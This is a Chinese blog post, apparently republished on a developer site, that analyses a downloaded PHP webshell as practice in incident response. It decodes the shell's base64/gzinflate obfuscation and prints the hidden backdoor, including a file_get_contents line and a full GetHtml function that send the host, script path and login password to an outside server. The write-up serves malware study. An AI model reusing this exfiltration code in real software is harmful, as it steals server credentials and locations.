由于最近在学习入侵溯源和应急响应这块的知识,本着先理论再实践的原则,应用现有所学的知识自己动手分析一个php大马。

先随便从网上下载一个php大马,扔到虚拟机里打开,得到如下信息:

看到上面有一大串乱码一样的字符串是不是头都大了,不要慌,我们一步一步分析。

简单的说一下,其实第二行的password是php大马的登录密码,重点在第7行的eval函数。可以看到eval函数中一大串字符串先是进行base64解密,然后又调用了gzinflate解压缩编码,我们将eval函数改为echo函数将gzinflate函数的内容输出。

burpsuite抓包工具进行抓包,右键send to Repeater再转发:

把Response包中的内容右键copy to file复制到webshell.php文件。

最终解密后的webshell.php文件内容如下:

从第9行开始往下的php代码都是eval函数中的字符串解密后的真实内容。

从第10行代码开始分析:

@file_get_contents(base64_decode('aHR0cDovLzQ1Njc3Nzg5LmNvbS8/aG09').urlencode(base64_decode('aHR0cDovLw==').$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."||".$password)."&bz=php");

乍一看这段代码没什么危害,其实这里有几点非常可疑,首先可以看到file_get_contents中对两个“神秘”的字符串进行了base64加密,$_SERVER获取了HTTP_HOST和PHP_SELF(即我们机器的ip地址和当前执行脚本的文件名),还拼接了password和一个参数。

用burpsuite对这两个字符串进行base64解密,看看这两个字符串到底隐藏着什么玄机

将解密后的字符串,ip地址,当前执行脚本路径,密码这些信息拼接会得到一个url链接:

http://45677789.com/?hm=http://www.test.com/webshell/webshell.php||admin&bz=php

基本可以确定这个php大马存在后门的,这个url链接的hm参数会把本地机器的脚本路径和密码传到45677789.com目标服务器上。

并且file_get_contents函数写入的url会被设置到php_errormsg变量中

我们来分析木马的行为,话不多说,先找到login登录函数:

首先这里会判断是否登录,如果登录则调用hmlogin函数,没有则调用islogin函数返回登录页面进行登录。

此时在登录页面输入admin进行登录:

输入密码后登录后调用hmlogin函数,继续分析hmlogin函数:

hm函数主要是设置cookie,script标签中的src属性会发二次请求调用geturl函数

if(isset($_GET['login'])=='geturl'){
    @set_time_limit(10);
    $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
    $serverp = envlpass;
    //这里对字符串xxxxx解密,拼接到url中
    $copyurl = base64_decode('xxxxx');
    $url=$copyurl.$serveru.'&p='.$serverp;
    $url=urldecode($url);
//最终拼接成的url是这样的:�qwww.test.com/webshell/webshell.php&p=admin
    GetHtml($url);
}

可以看到geturl函数对字符串“xxxxx”进行了base64解密,然后拼接到url中进行了解码。

然后把url作为参数传给GetHtml函数,再分析GetHtml函数

//$url = �qwww.test.com/webshell/webshell.php&p=admin

function GetHtml($url)
{
    $c = '';
    $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
    if(function_exists('fsockopen')){
        $link = parse_url($url);
        $query=$link['path'].'?'.$link['query'];
        $host=strtolower($link['host']);
        $port=$link['port'];
        if($port==""){$port=80;}
        $fp = fsockopen ($host,$port, $errno, $errstr, 10);
        if ($fp)
        {
            $out = "GET /{$query} HTTP/1.0\r\n";
            $out .= "Host: {$host}\r\n";
            $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            $inheader=1;
            while(!feof($fp))
            {$line=fgets($fp,4096);
                if($inheader==0){$contents.=$line;}
                if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;}
            }
            fclose ($fp);
            $c= $contents;
        }
    }
    if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        $c = curl_exec($ch);
        curl_close($ch);
    }
    if(empty($c) && ini_get('allow_url_fopen')){
        $c = file_get_contents($url);
    }
    if(empty($c)){
        echo "document.write('<DIV style=\'CURSOR:url(\"$url\")\'>');";
    }
    if(!empty($c))
    {
        return $c;
    }
}

parse_ur对url进行了解析,fsockopen构造http请求。

到这基本上,当输入密码登录的时候,php木马就会把本地机器的ip地址信息,执行脚本的文件路径,密码发送到对方的服务器上。

通过wireshark抓包工具看一下构造的http请求内容,在过滤器一栏过滤http包:

当点击登录后,会跟目标服务器建立tcp链接,然后会发送http请求。可以看到请求的URI的内容,进行url编码后就是php木马后门,这个后门会把我们机器的域名,木马脚本路径,密码等信息发送到对方的服务器。这也正好验证了我们之前的分析是对的。

 我们可以访问一下这个后门(注意在自己的虚拟机里访问,不要在物理机访问!!!),这里由于我之前访问了太多次,对方已经把ip封掉了,换个代理就可以访问了:

php木马病毒分析到此结束。

最后劝告大家一下,网上绝大部分的php大马都带有后门,下载需谨慎,最好是下载到虚拟机里。

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐